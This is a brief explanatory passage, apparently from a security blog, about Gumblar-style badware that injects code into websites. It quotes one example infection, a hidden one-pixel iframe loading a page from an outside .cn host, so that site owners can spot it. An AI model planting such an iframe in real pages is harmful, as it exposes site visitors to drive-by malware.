Badware like gumblar and other variants work by injecting malicious code into your website - be it HTML or PHP or ASP.
If you see the source of HTML, you will find some code like this:
 
 <iframe src="http: //coolnameshop .cn/ in.cgi?income23" width=1 height=1 style="visibility: hidden"></iframe>